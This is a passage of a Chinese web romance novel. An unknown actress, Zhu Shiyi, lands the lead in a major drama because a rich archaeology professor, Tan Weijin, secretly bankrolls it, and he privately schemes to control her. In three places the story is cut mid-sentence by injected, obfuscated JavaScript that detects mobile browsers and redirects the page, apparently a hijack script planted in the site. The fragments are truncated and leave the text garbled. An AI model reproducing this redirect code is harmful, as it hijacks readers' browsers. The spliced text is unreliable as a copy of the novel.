小姑娘警惕心这么强,其实是件好事。只是祝方砚没想到这么多年来只有别人想尽办法倒贴他的份儿,这还是第一次他想认识一个人却怎么都无功而返呢。 昔音娱乐。 祝方砚合上笔记本,他决定这段时间亲自送祝依然上班,说不定还能知道点有用的信息。 - 祝诗意已经四个月没有进组拍戏了。 祝依然的剧倒是播了一部又一部。 祝诗意切换频道的时候看到祝依然那张巧笑嫣然的脸,屏幕右下角的《少年的夏日》五个大字令她太阳穴隐隐作痛。 《少年的夏日》是一部充满青春气息的大学校园偶像剧,祝依然在剧中饰演受万千宠爱的万人迷女主,这部剧里面是个异性都对女主有好感,包括并不限于女主邻居家里养的那条大黄狗,公的。 除去人设与玛丽苏比肩的女主,《少年的夏日》当中还有一个很讨喜的女三号。戏份不多,但角色各方面设定都比较让人眼前一亮。祝诗意看上了这个角色,她向导演毛遂自荐,然后去试了这个角色的戏,导演对她夸赞有加,当场就定了祝诗意来演女三号。 祝诗意试戏当天还在片场看见了祝依然和蒋谌。 蒋谌是《少年的夏日》的男主角,颇有人气的流量小生,也是祝依然这两年在荧屏上的炒作对象,两个人组成了网友们眼中的“夏日纯糖小情侣”。 在片场碰见男女主一点也不稀奇,稀奇的是导演本来答应了让祝诗意演那个角色,可碰到祝依然以后,这个角色又换了别人。 当天下午,祝依然那个看似云淡风轻实则暗含不屑的眼神很难不让祝诗意多想。 更何况这不是祝依然第一次针对她。 只可惜祝依然背后是鼎鼎有名的祝家,祝诗意只能选择当宰相,在颐和园湖面心平气和地荡个船。 眼下《少年的夏日》开播大吉,祝诗意靠在沙发上,恶狠狠地咬了口苹果泄愤。 她抱着学习的心态看了两集电视剧,感想是祝依然的表演平平无奇,说不上差,但也没什么可圈可点的精彩之处,那名女三号的演技更是浪费了这么优秀的人设。 祝诗意捶了一下抱枕,更加坚定了自己离开昔音娱乐,创办个人工作室的决心。 就在这个看似风和日暖的午后,在祝诗意看电视剧看得快要睡过去的时候,她收到了一条新的好友申请: 「你好,我是《长生殿》的导演谈夏,想邀请你参与古装剧《长生殿》的拍摄,请问有合作意向吗?」 7. 遇(7) 看清这条信息,祝诗意接连眨了许多下眼睛。她瞧了瞧从半遮的窗帘缝中透出来的光,揉了揉眼,确定自己只是将睡未睡,而非于梦中昏迷。 《长生殿》可是当下热度最高的大饼之一,自从《长生殿》原著版权卖出且将于今年开始筹备拍摄的消息传出来,娱乐圈至少一半的知名女艺人都被这块饼主动或被动地遛过一遍。有关《长生殿》选角的消息隔三岔五地霸占热搜榜,比祝诗意每个月来造访的亲戚还准时。 祝诗意不觉着这种大热IP制作会和自己有什么联系,但凡是圈子里的艺人都想方设法在《长生殿》中刷存在感,哪怕只露脸都行。避免成为神仙打架时被波及的无辜炮灰,祝诗意从一开始就没打算凑《长生殿》的热闹。 她忽视了这条好友申请通知,把手机丢在茶几表面,起身去浴室泡了个热水澡。 - 沉海院内晚风习习,假山溪流水声潺潺。 谈夏握着手机,提心吊胆地等候祝诗意的消息。 谈惟瑾替谈夏将《长生殿》的独家版权买下来,并为此注入5亿启动资金,后续所需一系列宣发费用另算。 但前提是《长生殿》的女主角必须是祝诗意。 谈惟瑾起先并不知道祝诗意的名字,他命人去查了钟意科技总裁祝攸的亲缘关系,可派出去的人却回报称祝攸是独生子女,并没有妹妹。 不过谈惟瑾拍了祝诗意的照片,就在颐和园的时候。 谈夏是混娱乐圈的,平常最热衷于追星,谈惟瑾径直将照片拿给谈夏看,谈夏一眼就认出来照片上的人是祝诗意: “诶这不祝诗意嘛,和祝依然名字很像的那个女明星,长得也很好看。可惜没什么人气,也没人愿意捧她,至今微博粉丝只有二十来万,刚出道的小爱豆都混得比她好。” “哥你这照片哪来的?看背景像是颐和园。也是,祝诗意又没多少人认识,走在路上别人只会把她当成素人大美女,不会往明星那方面想。也就只有祝诗意这样的还能优哉游哉地逛颐和园,换成别人才不会往人这么多的地方凑呢。” 谈夏絮絮叨叨说了好些话,谈惟瑾的目光始终落在照片上那张巴掌大的小脸上。 “你说她没人捧?” 谈惟瑾神色淡淡地问道。 “是啊,怎么了?” “我给你5个亿,让她当你的女主角。” 谈惟瑾说。 谈夏惊得险些下巴都掉下来,她吃惊地瞪大眼睛,指了指照片,又看着用最平静的语气说出最匪夷所思话语的兄长,谈夏咽了下口水,问:“哥,你认真的?” “嗯?” “不是,我就是……诶哥你到底什么时候对娱乐圈女明星感兴趣了?你该不会是偷偷和祝诗意交往了吧?” “再废话就撤资。” 只要能让祝诗意出演《长生殿》女主角,这五个亿给谁不是给。 不是说祝诗意没人捧?那他谈惟瑾来。 “别,哥!我的好哥哥!金主爸爸!我的再生父母!”谈夏赶忙半跪在沙发上,双手合十,虔诚地认错,“你给我五个亿,别说是让祝诗意当女主角,你让她骑我脑袋上都没问题。” 谈惟瑾垂眸瞥了眼惯会讨巧卖乖的妹妹,他把衣角从谈夏的掌心中抽出来,平静地说:“版权我已经买下来了,只要照我说的去做,钱今晚就会打到你卡上。” 于是,祝诗意在谈夏这里成为了五个亿的代名词。 谈夏想办法搞来了祝诗意的私人微信,并立即向她发送了好友申请,可是她左等右等,就是不见祝诗意有任何动静。 谈惟瑾只给了她一个晚上的时间。 若是今晚不能让祝诗意点头,谈夏的财神爷可就要踩着乌云飞走了。 既然祝诗意不看微信,那她就打电话。 谈夏一口气直直提到嗓子眼,她颤抖着拨通祝诗意的手机号码,被对方毫不犹豫地挂断。谈夏半点也不气馁,她第二次拨过去,听筒里的忙音回荡了许久,就当谈夏认真思考起假如祝诗意连电话也不接那她是不是需要直接冲上门的可行性,叮的一声,电话通了。 “你好?” 这略带疑惑的询问声在谈夏听来宛如天籁。 “你好你好!” 谈夏立即坐直了,生怕祝诗意下一秒就掐断电话,她释放出方才堵在嗓子眼的气息,连珠炮一般迅速表明来意,“你是祝诗意对吧,我是谈夏,目前还是一名景山电影学院导演系大二的学生。但是我已经参与过许多片子的制作了,你在我的微博主页应当能搜到我的作品。是这样的,《长生殿》的版权在我手中,我想邀请你出演《长生殿》的女主角昭昭,不知道你这边意向如何?” 沉默。 与谈夏的热情相比,祝诗意沉默的像冬季里后海湖面结的那层薄薄的冰,冷静的恰到好处。 谈夏还以为祝诗意早就把电话挂了,可通话界面明明显示正在通话中。 “祝小姐,你在听吗?” “谈小姐,哪怕是清澈愚蠢的大学生,也不是什么天方夜谭都会信的。” 末了,祝诗意回了她这样一句话。 谈夏顿时急了。 “那个祝小姐我真的不是骗子!我还加你微信了但你可能没注意到,我是看你一直没有通过我好友申请才贸然给你打电话的,我知道这样做或许有点唐突但是请你相信我真的不是骗子。祝小姐可以现在就通过我的申请,我把版权合同给你发过去,还有我的课表成绩单导演证实习证明等等一系列能证明我身份的文件都可以给你看,你看这样行吗?” 谈夏察觉到祝诗意的呼吸乱了一拍,“稍等,我加你。” “电话我就先挂了。” “好的祝小姐。” 谈夏挂断电话,把早就准备齐全的文件给祝诗意发过去,颇有些后怕地拍了拍自己的小胸脯。谈夏的心率在短时间内如同过山车一样直上直下,这感觉就像是顶着40°的烈阳在操场跑完八百米,然后又被周伯背着回到开着空调的迈巴赫后座,同时还有英俊的男模对自己嘘寒问暖。 “哥。” 谈惟瑾下楼,路过客厅,谈夏赶忙叫住他。 谈惟瑾穿着宽松的黑色居家服,高挺的鼻梁上是他那副万年不变的金丝框镜,光滑的肌肤在冷光中显得更白,青色的血管依稀可见。 他端着剔透的玻璃杯,杯子里剩了三分之一的威士忌,谈惟瑾抿了一口,问:“什么事。” “你什么时候认识的祝诗意?” “事情办好了?” 谈惟瑾不答反问。 “我能做的都做了,这不是等人家回复嘛。万一祝诗意不愿意接,那我也不能拿刀架她脖子上逼她,你说是吧?” “我不关心你用什么办法。” 谈惟瑾只看结果。 “诶等等,有回复了。” 听到谈夏的惊呼,谈惟瑾抬起的脚步又缓了半拍,他状似无意地朝谈夏看过去。 谈夏在沙发上一蹦三尺高,兴奋极了:“哥!祝诗意答应了!她约我后天中午详谈!” 一连三个感叹语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606424|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词吵得谈惟瑾耳朵疼,他只颔首,道:“嗯,知道了。” 说罢便端着玻璃杯兀自上楼。 约莫过去十分钟,谈夏个人账户多出一笔来自兄长的转账。 “个十百千万十万百万哥爹!” 谈夏眉欢眼笑地跑回房间,拉开衣帽间的门,她定要精心打扮一番,给祝诗意留下绝佳的好印象。 而此时书房内的谈惟瑾指尖还捏着那张祝诗意的照片。 照片上的女孩美好但脆弱,对即将到来的一切都一无所知。谈惟瑾指腹擦过祝诗意的脸,他凝视着这张照片,不知过了多久,谈惟瑾才将照片重新放入钱夹中。 他并不急着出现在祝诗意面前。 他要祝诗意的生活与事业都充满他的痕迹,要为她铺一条独一无二的璀璨长路,残忍地看着她光脚踩着钻石孤零零向前去,而他在路的尽头等着她。 窗外夜色沉沉,只零星一点微光,谈惟瑾立在窗前,点燃一支与落地灯相映的烟。 - 尽管谈夏拿出了一箩筐的证明文件,祝诗意依旧无法放心地相信这块大饼当真掉在了自己头上。 她对合作有所保留,因此没叫莫嘉蓝跟着,而是孤身一人来赴宴。 祝诗意与谈夏约在了景山大酒店见面。 这是云城最安全的地方,也是最危险的地方。 景山大酒店是谈氏集团的产业。 她今日要见的这位比自己还小一岁的大学生导演,恰巧也姓谈。 祝诗意这两日在家里做足了功课,即使某度百科并未言明谈夏与谈氏集团的关系,祝诗意也不会把拿下《长生殿》的谈夏当成籍籍无名的导演系大学生。 304。 祝诗意进门前看了眼门口的牌子,不禁感叹她和这个包厢还真是有缘。 只可惜云城这么大,后来她没再见过那个温文尔雅的男人。 “祝小姐,你来啦!” 谈夏过来迎接她,“你本人看上去比照片还要漂亮一百倍诶。我看咱们两个好像只差一岁,那我能叫你诗意吗?当然你要是愿意的话,叫我谈夏或者小夏就行。” “照片?” 祝诗意不明所以。 谈夏指的自然是从谈惟瑾那儿看到的照片,不过这个可不能告诉祝诗意,于是她只笑笑,随便编了个理由,“我们导演选角要参考以前的定妆照嘛,你之前拍的戏我差不多都看过。” “这样。” 谈夏示意侍应生上菜,她和谈夏坐在一处,中间只隔着一个座位的距离。 “娱乐圈里想拍《长生殿》的艺人这么多,谈导为什么选我?” 祝诗意不准备含糊,也怕这又是一场特地为自己准备的鸿门宴,因此她刚坐下就开门见山,直入主题。 “诗意,你有男朋友吗?” “谈导为什么这么问?” “那诗意,你最近有没有遇到过那种长得很帅但脾气又特别臭的男人?” 要论云城最不好招惹的男人,谈夏敢说自己的兄长谈惟瑾稳坐第一,无人能出其右。 “……没有。” 啧。 古有周幽王烽火戏诸侯只为博褒姒一笑,今有谈惟瑾一出手就五个亿来捧十八线女艺人。 没想到严肃又古板的考古学教授竟然还有这么年轻气盛的一面。 就是听上去她哥好像在玩单相思,祝诗意压根不知道谈惟瑾的存在。 “没什么,不重要。” 谈夏手一挥,“先吃饭,我们边吃边聊。” 8. 遇(8) 侍应生呈上来的每一道菜谈夏多多少少都尝了一口,她和祝诗意玻璃杯里的饮品也都是从同一个瓶子里倒出来的。祝诗意将这些看在眼中,不知谈夏这样做是有意为了让她放下戒心,还是说比她小一岁的谈夏更符合“清澈愚蠢大学生”的形象。 祝诗意很少动筷子,她心里装着事,胃口不太好。 谈夏余光注意到祝诗意几乎没怎么吃东西,她能理解祝诗意的心情,于是她放下刀叉,从包里拿出合同摊在祝诗意面前,说:“诗意,这是《长生殿》的合同,你先看下还有没有什么需要修改的地方。” 祝诗意接过合同,她翻开随意看了两页便知道这是一份货真价实的合同,落款处还加盖了公章,谈夏并没有随便拿一份乱七八糟的文件来唬她。 “谈导,我能问一下你为什么想选我吗?” 祝诗意不急着在合同上签字,她看着谈夏真挚的神情,问道。 “因为我们两个有缘。” 谈夏无论如何都不会把谈惟瑾供出来,她开始一本正经地当着祝诗意的面胡诌:“诗意,我们两个都是景山电影学院的学生。其实我在学校的时候就听过你的名字,虽然我们不是同一个系的,你是表演系,我是导演系,但你知道表演系和导演系来往密切,大家彼此之间也都互相认识,比如我就不止一次听我的学长学姐夸过你有多么好看多么有灵气。” 说了一堆客套话,怕祝诗意不肯信,她只好接着冠冕堂皇地编下去:“还有就是《长生殿》版权虽然在我手上,但我作为一名新入行的导演,在圈子里还没混出什么名头。如果《长生殿》照常去邀请那些影帝影后,或者流量咖位很大的中生小花,我怕到时候开拍了,我在片场压不住他们。万一再遇到个耍大牌的把我的剧本改得面目全非,那《长生殿》好好一个ip岂不是就毁了。所以我是想在我的能力范围内邀请潜力股来演男女主,当然,像那些比较精彩的配角,还是可以照常和德艺双馨的老戏骨合作。” “怎么样,我这个想法还不错吧?” 谈夏这一番话,祝诗意只觉着后半段还有点可信度。 祝诗意不知道谈夏是怎么样从众多资本家手下抢来了《长生殿》剧本,但若是她单枪匹马孤立无援,那等开机以后,片场的确有可能重现谈夏所说的那种情况,谈夏有这样的担忧也是正常的。 “谈导,我能冒昧地问一下《长生殿》男主的选角你有想法了么?” “还没有,怎么,你有想合作的男演员?” 谈夏一拿到版权就着急忙慌地来找祝诗意了,顾得上什么男主不男主的,搞定祝诗意才是她眼下要做的头等大事。 没有祝诗意就没有谈惟瑾的投资,因此在谈夏心中,祝诗意等于投资,等于财神爷。 “想合作的没有,”祝诗意犹豫了一下,说,“但是不愿意合作的对象倒是有一个。” “谁?” “蒋谌。” 祝诗意记得蒋谌的工作室不止一次用《长生殿》的饼来给蒋谌造势,字里行间都像是对《长生殿》男主一角势在必得。 祝诗意不想和祝依然的炒作对象合作,以免到时候沾惹了一身腥。 “那你不用担心,”谈夏拍拍祝诗意的肩膀,“蒋谌那样的本来就不在我的考虑范围内。再说了,就他那细狗一样的身材,顶着一张小白脸,也演不了我们举世无双风度翩翩的慕三叔。别忘了我们昭昭和三叔可是有着七岁的年龄差呢,放心吧,我不会找这种小鲜肉来演三叔的。” “那这合同我签了。” 谈夏都这么说了,祝诗意便不再有别的担忧,她提笔在尾页写下自己的名字,说,“感谢谈导的赏识,也感谢谈导愿意给我这次机会。” 祝诗意一口一个谈导叫得谈夏心花怒放,不管是在学校还是在片场,那些人只会因为她年龄小而叫她“小谈”,很少有人像祝诗意这么待她。 不过…… “你看这合作都成了,诗意你就别跟我客气了,我们两个只差一岁,你一直叫我谈导多生分啊。” “嗯,”面对谈夏稍显热络的自来熟,祝诗意有些不适应,她笑了笑,回答,“我会注意,不过谈导,公私分明。” 意思是等之后到了片场,祝诗意依旧会该怎么称呼就怎么称呼。 “谢谢你诗意,期待到时候与你在开机仪式见面。” “好。” “对了,《长生殿》的官方微博已经注册好了,我今天晚上回去就会官宣你出演女主角的消息,要不我们两个微博互关一下吧?” “行,谈导你微博是什么?我关注一下你。” “还是我搜你吧,你是叫「诗意不会写诗」?这名字还挺好听的,有文化。” “谈导也不遑多让。” 「白日梦怪谈」,听上去像是会在午夜两点准时更新的都市逸闻杂谈,又或者是毛骨悚然的鬼故事电台专线,谁能想到账号皮下竟是这么活泼可爱的女孩子。 “那我就先回去了,有什么事及时联系。晚上八点,官博准时不见不散。” 谈夏想赶紧回沉海院把好消息告诉谈惟瑾,说不定他心情好还能大发慈悲再给她一笔巨款。 “好的,谈导再见。” 祝诗意告别谈夏,坐上回溪语庭的车。她今天要回溪语庭和家人吃饭,顺道把这个消息告诉爸爸和哥哥。 「老板,听说祝依然在接触《长生殿》的女主角。我是《长生殿》的原著粉,小说女主人设真的特别好,影视化肯定很圈粉。不过《长生殿》这么大一个ip,女主角就不想了,祝依然有钱有势都不一定能成功,但要是《长生殿》能公开选角,老板你能去试女配的戏,说不定有希望。」 祝诗意这么长时间不进组拍戏,莫嘉蓝比她还着急。小助理莫嘉蓝尽职尽责,但凡圈子里有新饼放出了风声,莫嘉蓝都会第一时间告知祝诗意。 祝诗意靠在后座,想了想,她发消息给莫嘉蓝:「小莫,晚上八点记得看微博。」 「咦老板,八点有什么大事发生吗?老板你还能未卜先知啊。」 「到时候你就知道了。」 比起直接告诉莫嘉蓝,祝诗意觉得恐怕让莫嘉蓝自己在热搜上看到消息会更吃惊。 - “哥!我回来啦!大功告成。” 谈夏一进家门就站在客厅,仰着头朝楼上喊道。 她看的是谈惟瑾房间的方向。 “知道了。” 谁能想到谈惟瑾从她身后冒出来,险些吓了谈夏一大跳。 “嘿嘿,哥,没想到祝诗意人特别好说话。我跟她说只要她愿意做我的女主角,无论她有要求我都会尽力满足她。但是她一个要求都没提!就说是不想和一个男演员合作,但这算什么,所以四舍五入就是祝诗意没有要求。” “是么?” 谈惟瑾问,“她不想和谁合作?” “蒋谌,哎哥你肯定不认识这个人。就是一个偶像剧出道的流量小生,长得白白净净的,人瘦的像个骷髅,脑袋可大,头肩比虐得我都不忍心看。我到现在都觉得蒋谌能火全靠人设加持,脱离了角色滤镜他连屁都不是。” “知道了。还有,女孩子少说脏话。” 谈惟瑾睨她一眼。 谈夏立即捂住嘴巴,并做了个合上拉链的手势。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606425|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谈惟瑾回到书房,他坐在椅子上,单手摘掉眼镜,合上眼,兀自回想《长生殿》的故事梗概。 这是他亲自为祝诗意挑选的剧本。 二十一世纪刚满十八岁的大学生初昭穿越回一千年前,成为家破人亡的落魄贵女。她被人绑着塞进了慕府迎娶新娘的轿子,代替尚书千金嫁给传闻中心狠手辣双腿有疾的太傅慕如栩。新婚当夜昭昭的身份就被慕如栩慕三爷拆穿,同时她也发现自己这位丈夫分明四肢健全身体康健,并且相貌英俊温文尔雅,全然不如传闻中说的那么粗鄙不堪。 初昭的私心是抱紧粗壮有力的大腿,好让她在异世偏安一隅。 而慕如栩的私心,自始至终都是昭昭。 他当然知道昭昭会被绑来替嫁,即便他们不绑,慕如栩也会把她绑上他的轿子。 初昭在与慕如栩的相处中日久生情,就在她发觉自己爱上慕如栩的时候,残忍的真相被摆在初昭面前:她会家破人亡,全是慕如栩一手造成的,他才是最大的幕后黑手。 …… 后面的内容谈惟瑾没有再看下去,只到这里就已足够。 这简直是为祝诗意量身定做的戏,也是她应入的笼。 他会为祝诗意打造一个完美的城堡,然后关上笼的门。 “祝诗意。” “我们,来日方长。” 长生殿可有一部分片段的取景地在景山大学。 他很快就能见到她了。 - “依然,怎么了?你好像脸色不太对。” 祝方砚见祝依然连吃饭都心不在焉,他不禁问道。 “我没事,哥哥。” 祝依然勉力地笑笑,“可能是最近没休息好。” “那你自己多注意。” 祝倾与赵寻这会儿还在国外享受二人世界,因此偌大的洗云庭此刻显得有些过于空旷安静。 “哥哥,你明天还送我去公司吗?” “嗯,我先陪你去上班,再去公司。” “谢谢哥哥,你真好。” 祝方砚看了眼手机,他这些日子都没主动给小姑娘发消息,生怕她一个不耐烦就真删掉自己联系方式。可祝方砚连续两个星期“路过”昔音娱乐,都没有再撞见过一次那个小姑娘,也不知道他这都是什么运气。 “哥哥,你是在等什么人的消息吗?” 祝依然极少在成熟稳重的兄长脸上见到这样陌生的愁绪,哥哥的眼神像是在挂念着什么人。祝依然心底升起一股不踏实的预感,她有些担忧地问。 “没什么,是工作上的事。” 祝方砚随口应付道。 “依然你自己慢慢吃,我先上楼了。” “好的哥哥。” 祝依然答得乖巧,可祝方砚回了房间以后,祝依然的脸色沉了下来。 她方才看得清楚,哥哥眸中明显就是惦念与记挂,哥哥不可能会因为工作露出这种表情,只能是出于某个人。 兄长这是有喜欢的人了么? 还是有了感兴趣的明星? 否则哥哥怎么会主动提出送她去昔音娱乐,还连续送了两个多星期。从前祝方砚愿意送她去公司,那可都是她软磨硬泡撒娇才求来的机会。 祝依然今晚的心情很不好。 她拿起手机,锁屏自然而然亮起,弹出一条弹窗消息: 「《长生殿》女主角正式官宣!」 #《长生殿》祝诗意# #祝诗意是谁# #《长生殿》官宣# …… 啪的一下,祝依然手机掉在地上,屏幕应声而碎。 9. 遇(9) 同样被这条热搜惊讶到的还有诸多网友。 《长生殿》的热搜词条广场上纷纷飘着这样的言论: 「祝诗意是谁,是祝依然的另一个名字吗?」 「祝诗意微博粉丝居然只有23万,这和素人有什么区别?」 「我去扒了祝诗意以前拍过的戏,她演的全都是些没名没姓的小角色。昭昭是祝诗意的第一个女主角色,好大的来头啊。」 「问题是《长生殿》版权到底被谁买走了,怎么一点风声都没有?」 「官博直接官宣祝诗意出演女主角,但别的角色还没定下来,这是打算让祝诗意扛招商吗?不行,我得去看看这个叫祝诗意的到底是何方神圣。」 「楼上的,我从祝诗意微博那儿回来了,好漂亮的小姐姐,原地转粉。以前怎么没发现娱乐圈还有这么漂亮的女明星呢,明珠蒙尘啊朋友们!」 …… 祝依然攥紧了掌心,指甲深深嵌入肉中,可她却像是一点也感觉不到痛似的,脸上的表情都快控制不住了。 李妈见祝依然在原地愣了许久,便好心地走上前询问:“小姐,我看您脸色好像不太好,需不需要我去请医生?” “不用了李妈,我就是头有点痛,休息一会儿就好。” 祝依然牵动唇角,笑了笑,随后拾起地上的手机,慢吞吞上了楼。 当天晚上,祝依然紧急联系了自己的团队,虽然官博官宣了女主角,但祝依然觉着她还能再争取一下。 - 谈惟瑾没有上网冲浪的习惯。 他在各社交平台几乎都没有账号,打开任何社区都只会浏览新闻板块。 因此被谈夏赠予一个“行走的活化石”的美名。 谈惟瑾的微博账号是今晚才注册的,因为谈夏说《长生殿》的官方微博会在云城时间八点钟准时官宣祝诗意出演女主角的消息,谈惟瑾这才开通了一个崭新的微博账号。他关注的第一个人是「诗意不会写诗」,然后才是《长生殿》的蓝v认证官博。 谈惟瑾随手点开一个带有祝诗意名字的热搜词条。 然而词条内的言论却看得谈惟瑾眉头直皱。 他屈指敲了敲桌面,问谈夏:“这些人怎么回事?” “包养”“金主”“卖身求资源”…… 为什么要用那么不堪入耳的言论肆无忌惮地攻击祝诗意? 他谈惟瑾决心要养的玫瑰,他把她捧到台前来可不是这么让人糟蹋的。 再说了,才五个亿,一部片子也算得上包养?未免也太看不起他。 谈夏凑过去看了眼谈惟瑾的手机屏幕,这才知道原来兄长正在看网上那些帖子。 谈夏心虚地解释:“呃,哥,其实吧,这是每一个女明星的必经之路。就怎么说,你越红,那网上骂你的人就会越来越多。而且这些网友骂人不讲道理不讲证据,他们就是单纯想骂,根本不在乎事实。而且诗意之前确实没有拿得出手的作品,第一部女主角的戏就是这么大的ip,网友们不肯信,所以说什么都有。” 谈惟瑾冷笑,“这不就是空口造谣。” “……可以这么理解。娱乐圈的女艺人基本上都被这么骂过,有时候闹大了艺人才会让工作室寄律师函或者告黑,但大多数时候都是睁一只眼闭一只眼,权当没看见,过几天也就过去了。” 但谈惟瑾不这么想。 谈惟瑾拨通一个电话号码,说,“陈岩,点开微博上和祝诗意有关的那几个词条,保留证据,直接起诉,不和解。” 谈夏的眼皮狠狠地跳了一下。 陈岩是谈氏集团法务部的负责人,他带领的法务团队可以说是云城必胜客,叱咤多年从未有对手。 兄长竟然让谈氏集团法务部的人来处理网络上那些躲在阴暗角落里的键盘侠,这也太大动干戈了。 难道说他对祝诗意动了真情? 否则为什么这么护着祝诗意。 可是她明明问过祝诗意,祝诗意压根不认识自家兄长。 谈夏百思不得其解。 谈惟瑾靠在椅子上,他问:“你们剧组会去景山大学取景?” “昂对,是有几场戏在学校拍。” “拍多久?” “这个还不知道,具体要看编剧最终呈现的剧本。” “知道了。” “对了哥,《长生殿》不是涉及穿越元素嘛,小说里面还有一点考古相关的内容,你看你到时候要不要……赏个脸来我们剧组指点一二?” 正好可以让兄长见到祝诗意。 一举两得。 谈夏为自己的提议感到沾沾自喜。 “没空。” 谈惟瑾一口回绝。 “?” “哥,你真不去?” 谈夏难以置信地瞪大眼睛。 谈惟瑾只冷冷瞧她一眼,谈夏立即识趣地闭嘴,“打扰了”,她抱着自己的文件,轻手轻脚从谈惟瑾书房退了出去。 - 祝诗意今天晚上回到了溪语庭,云城三环内的独栋别墅,虽比不上沉海院那样坐落在红墙绿瓦中的权贵人家,但能在三环内这种寸土寸金的地方买一套八九百平的大别墅,住在这儿的家庭也算得上非富即贵。 祝诗意平常不回来只是觉着不太方便,万一被拍到她频繁出入溪语庭,那她在圈内“单亲小可怜”的人设就瞒不住了,会给她和祝攸引来许多无谓的麻烦。 一家三口吃完晚餐,祝诗意悠哉地躺在客厅的沙发上看电视。墙上的挂钟时针终于指向八点,祝诗意等了一会儿,果不其然,没过多久莫嘉蓝的微信轰炸就一条接着一条。 「我的天啊啊啊啊老板你竟然能拿下《长生殿》!什么时候的事情我怎么什么都不知道啊啊啊啊!」 「老板太能干,显得我这个助理很没用。」 「怪不得老板你这段时间一点也不着急,原来是憋了个大的!我就说我老板的美貌和才华一定不会被埋没的,《长生殿》的导演可真有眼光!这剧一定大爆!」 除了助理莫嘉蓝的微信,祝诗意同一时间还收到许多其他同事发来的“关照”消息: 「诗意,你什么时候接触了《长生殿》,怎么从来没听你提起过啊。」 「诗意诗意,《长生殿》的官博目前只官宣了你一个人,你知道还有其它人选没定吗?」 「诗意,那个,能不能请你帮我一个小忙,当然你要是觉得为难的话就算了。」 …… 祝诗意选择统统忽略,她只给莫嘉蓝吃了颗定心丸:「放心啦,所有程序合法合规,合同都签了。」 这时候祝攸走了过来,他在祝诗意身旁坐下,摸摸她的头发,问:“什么事情这么高兴?” 语气里满是宠溺。 祝诗意抱住祝攸的胳膊,脑袋倚在祝攸肩膀上,说:“哥,我拿到了一个很了不起的角色。虽然我不知道自己为什么能拿到它,但是我会努力做好我该做的事情。” 祝攸轻拍着她的后背,宽慰她:“我妹妹这么厉害,这是我们小意应得的。” “我本来想请你和爸爸吃饭,可是戏还没开始拍摄,想了想,还是等庆功宴的时候我们再一起庆祝吧。” “好,哥都听你安排。” 祝攸原本还担心上次发生的那件事情会对祝诗意的演艺之路造成不好的影响,此刻听见祝诗意这么说,他心里安心不少。 但仍有顾虑。 “小意,你和哥说实话,这段时间你们公司有没有为难你?” “哥,你怎么又提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606426|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个了,不是说都过去了嘛?” 祝诗意眼睛转了转,又是给祝攸捏肩,又是给他捶腿的,狗腿子架势十足。 然而祝诗意表现得越“殷勤”,祝攸就越发坚信当中定有什么他没查到的猫腻。祝攸掰正祝诗意的肩膀,看着她的眼睛,认真地说:“小意,不要骗哥。” 祝诗意心头颤了一下。 她没有勇气直面祝攸严肃的目光。 毕竟从前哥哥生气,佯装要教训她的时候,那样子还是挺吓唬人的。 事到如今,距离那件事过去也三年多了。车祸不再是兄长的心结,他的公司钟意科技发展得很好,说是云城最璀璨的新星也不为过。哪怕钟意科技目前和云城某些有着几十年甚至上百年底蕴的大集团不能比,可现在的钟意科技至少不会再被人瞧不起。 或许……告诉哥哥真相也没关系? 她又没做什么伤天害理的坏事,她只是瞒着父亲和兄长提前预支了自己五年的人生而已。 祝诗意之所以选择隐瞒,是不想让哥哥感到愧疚,不想让已经重担累累的哥哥再因为她而自责,饱受煎熬。 当年的祝家已经那么难过了,祝诗意不想再给哥哥增加心理负担,她这才选择瞒着的。 时过境迁,柳暗花明,一切都好了起来,要不然…… “小意,在想什么?” “哥,我……” 就当祝诗意鼓起勇气想坦白的时候,电话打了进来。 “哥,我先去接个电话。” 祝诗意走到窗前,问:“芳姐,什么事。” “祝诗意,你为什么能拿下《长生殿》的女主角?” 舒雅芳在那头气急败坏地问。 这个角色明明是她给祝依然准备的,舒雅芳还指望着祝依然靠着《长生殿》一飞冲天,坐稳娱乐圈新生代小花第一人的位置。 她死磕这么久都没能搞定,祝诗意是怎么横插一脚拿到的角色? “芳姐,你这话说的,好像我不是昔音娱乐的艺人一样。我出演《长生殿》,最后得益的不还是公司,不还是你这个经纪人么?” “你别说这些花言巧语,明天早上来公司一趟。” 祝诗意没应,她径直挂断电话。不到三十秒,她的手机铃声又响了,还以为是舒雅芳又打过来,低头一看却是林书简。 “诗意……呜呜呜……” 林书简哭得可怜兮兮的,“我,我和周盛豪那个渣男分手了,你能不能出来陪陪我啊。” 祝诗意一急,忙问,“不哭不哭啊,你在哪儿?我现在就过去。” “我,我在Blue酒吧,包,包厢号是406。我等你呜呜呜……” 